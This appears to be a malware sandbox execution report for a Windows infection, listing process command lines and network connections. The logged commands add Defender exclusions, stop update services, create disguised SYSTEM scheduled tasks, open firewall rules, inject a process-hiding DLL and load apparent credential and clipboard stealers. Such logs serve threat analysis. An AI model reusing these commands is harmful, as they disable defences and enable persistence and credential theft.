"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6348 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6528 /prefetch:8

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x3cc 0x2ec

C:\Users\Admin\AppData\Local\Temp\3BC0.exe

C:\Users\Admin\AppData\Local\Temp\3BC0.exe

C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe

"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Users\Admin\AppData\Local\Temp\4641.exe

C:\Users\Admin\AppData\Local\Temp\4641.exe

C:\Users\Admin\AppData\Local\Temp\kos4.exe

"C:\Users\Admin\AppData\Local\Temp\kos4.exe"

C:\Users\Admin\AppData\Local\Temp\latestX.exe

"C:\Users\Admin\AppData\Local\Temp\latestX.exe"

C:\Users\Admin\AppData\Local\Temp\4CBB.exe

C:\Users\Admin\AppData\Local\Temp\4CBB.exe

C:\Users\Admin\AppData\Local\Temp\4239.exe

C:\Users\Admin\AppData\Local\Temp\4239.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 6384 -ip 6384

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6384 -s 840

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe

"C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe" /F

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe

"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8b5234212" /P "Admin:N"&&CACLS "..\e8b5234212" /P "Admin:R" /E&&Exit

C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp

"C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp" /SL4 $302F6 "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe" 4751447 79360

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7276 /prefetch:8

C:\Windows\SysWOW64\net.exe

"C:\Windows\system32\net.exe" helpmsg 3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7576 /prefetch:1

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main

C:\Windows\system32\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7456 /prefetch:1

C:\Windows\SysWOW64\cacls.exe

CACLS "Utsysc.exe" /P "Admin:N"

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Program Files (x86)\BBuster\BBuster.exe

"C:\Program Files (x86)\BBuster\BBuster.exe" -i

C:\Windows\system32\netsh.exe

netsh wlan show profiles

C:\Program Files (x86)\BBuster\BBuster.exe

"C:\Program Files (x86)\BBuster\BBuster.exe" -s

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 helpmsg 3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8148 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7856 /prefetch:1

C:\Windows\SysWOW64\cacls.exe

CACLS "Utsysc.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\e8b5234212" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\e8b5234212" /P "Admin:R" /E

C:\Windows\system32\tar.exe

tar.exe -cf "C:\Users\Admin\AppData\Local\Temp\114462139309_Desktop.tar" "C:\Users\Admin\AppData\Local\Temp\_Files_\*.*"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\C101.exe

C:\Users\Admin\AppData\Local\Temp\C101.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8700 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8700 /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7644 /prefetch:1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,10970227575804661923,12209409447375094581,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6120 /prefetch:1

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\SYSTEM32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffaa55446f8,0x7ffaa5544708,0x7ffaa5544718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2240 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4876 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4292 /prefetch:1

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5236 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3448 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3448 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,13698056580318957505,9747909717320745232,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\windefender.exe

"C:\Windows\windefender.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\SysWOW64\sc.exe

sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\windefender.exe

C:\Windows\windefender.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 163.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 39.142.81.104.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
FI 77.91.68.61:80 tcp
FI 77.91.68.29:80 77.91.68.29 tcp
FI 77.91.68.249:80 77.91.68.249 tcp
US 8.8.8.8:53 29.68.91.77.in-addr.arpa udp
US 8.8.8.8:53 249.68.91.77.in-addr.arpa udp
RU 193.233.255.73:80 193.233.255.73 tcp
RU 5.42.65.80:80 5.42.65.80 tcp
US 8.8.8.8:53 73.255.233.193.in-addr.arpa udp
US 8.8.8.8:53 80.65.42.5.in-addr.arpa udp
FI 77.91.124.86:19084 tcp
FI 77.91.124.86:19084 tcp
US 8.8.8.8:53 www.facebook.com udp
NL 157.240.247.35:443 www.facebook.com tcp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 twitter.com udp
NL 142.250.179.141:443 accounts.google.com tcp
US 104.244.42.1:443 twitter.com tcp
NL 142.250.179.141:443 accounts.google.com udp
US 8.8.8.8:53 store.steampowered.com udp
NL 104.85.0.101:443 store.steampowered.com tcp
US 8.8.8.8:53 35.247.240.157.in-addr.arpa udp
US 8.8.8.8:53 141.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 1.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 101.0.85.104.in-addr.arpa udp
US 8.8.8.8:53 steamcommunity.com udp
JP 23.207.106.113:443 steamcommunity.com tcp
US 8.8.8.8:53 www.epicgames.com udp
US 3.214.39.91:443 www.epicgames.com tcp
US 8.8.8.8:53 www.paypal.com udp
US 151.101.1.21:443 www.paypal.com tcp
US 8.8.8.8:53 i.ytimg.com udp
US 8.8.8.8:53 113.106.207.23.in-addr.arpa udp
US 8.8.8.8:53 91.39.214.3.in-addr.arpa udp
US 8.8.8.8:53 83.39.65.18.in-addr.arpa udp
US 8.8.8.8:53 21.1.101.151.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 142.179.250.142.in-addr.arpa udp
NL 216.58.214.22:443 i.ytimg.com tcp
US 8.8.8.8:53 22.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 106.208.58.216.in-addr.arpa udp
US 8.8.8.8:53 131.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 195.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 static.xx.fbcdn.net udp
NL 142.251.39.98:443 googleads.g.doubleclick.net tcp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
IE 163.70.151.21:443 static.xx.fbcdn.net tcp
NL 142.251.39.98:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 98.39.251.142.in-addr.arpa udp
US 8.8.8.8:53 21.151.70.163.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
NL 216.58.214.22:443 i.ytimg.com udp
N/A 224.0.0.251:5353 udp
NL 194.169.175.118:80 194.169.175.118 tcp
US 8.8.8.8:53 118.175.169.194.in-addr.arpa udp
IT 185.196.9.171:80 185.196.9.171 tcp
US 8.8.8.8:53 yt3.ggpht.com udp
NL 142.251.36.1:443 yt3.ggpht.com tcp
NL 142.251.36.1:443 yt3.ggpht.com udp
US 8.8.8.8:53 171.9.196.185.in-addr.arpa udp
US 8.8.8.8:53 1.36.251.142.in-addr.arpa udp
BG 171.22.28.213:80 171.22.28.213 tcp
US 8.8.8.8:53 196.168.217.172.in-addr.arpa udp
US 8.8.8.8:53 abs.twimg.com udp
US 8.8.8.8:53 api.twitter.com udp
US 8.8.8.8:53 pbs.twimg.com udp
US 8.8.8.8:53 iplogger.com udp
DE 148.251.234.93:443 iplogger.com tcp
US 152.199.21.141:443 abs.twimg.com tcp
US 152.199.21.141:443 abs.twimg.com tcp
US 152.199.21.141:443 abs.twimg.com tcp
US 152.199.21.141:443 abs.twimg.com tcp
US 152.199.21.141:443 abs.twimg.com tcp
US 104.244.42.2:443 api.twitter.com tcp
US 93.184.220.70:443 pbs.twimg.com tcp
US 8.8.8.8:53 t.co udp
US 8.8.8.8:53 video.twimg.com udp
NL 199.232.148.158:443 video.twimg.com tcp
US 104.244.42.69:443 t.co tcp
US 8.8.8.8:53 213.28.22.171.in-addr.arpa udp
US 8.8.8.8:53 141.21.199.152.in-addr.arpa udp
US 8.8.8.8:53 70.220.184.93.in-addr.arpa udp
US 8.8.8.8:53 2.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 93.234.251.148.in-addr.arpa udp
US 8.8.8.8:53 stim.graspalace.com udp
US 188.114.97.0:80 stim.graspalace.com tcp
US 8.8.8.8:53 158.148.232.199.in-addr.arpa udp
US 8.8.8.8:53 69.42.244.104.in-addr.arpa udp
US 8.8.8.8:53 0.97.114.188.in-addr.arpa udp
US 194.49.94.11:80 194.49.94.11 tcp
US 8.8.8.8:53 11.94.49.194.in-addr.arpa udp
US 8.8.8.8:53 store.akamai.steamstatic.com udp
NL 23.72.252.176:443 store.akamai.steamstatic.com tcp
NL 23.72.252.176:443 store.akamai.steamstatic.com tcp
NL 23.72.252.176:443 store.akamai.steamstatic.com tcp
US 8.8.8.8:53 jnn-pa.googleapis.com udp
NL 142.250.179.138:443 jnn-pa.googleapis.com tcp
NL 142.250.179.138:443 jnn-pa.googleapis.com udp
US 8.8.8.8:53 static.doubleclick.net udp
NL 142.251.36.6:443 static.doubleclick.net tcp
US 8.8.8.8:53 176.252.72.23.in-addr.arpa udp
US 8.8.8.8:53 138.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 6.36.251.142.in-addr.arpa udp
DE 167.235.20.126:80 167.235.20.126 tcp
DE 167.235.20.126:80 167.235.20.126 tcp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 126.20.235.167.in-addr.arpa udp
NL 216.58.214.14:443 youtube.com tcp
NL 216.58.214.14:443 youtube.com tcp
US 8.8.8.8:53 14.214.58.216.in-addr.arpa udp
US 8.8.8.8:53 community.akamai.steamstatic.com udp
US 8.8.8.8:53 static-assets-prod.unrealengine.com udp
US 8.8.8.8:53 www.paypalobjects.com udp
US 8.8.8.8:53 tracking.epicgames.com udp
US 192.229.221.25:443 www.paypalobjects.com tcp
US 192.229.221.25:443 www.paypalobjects.com tcp
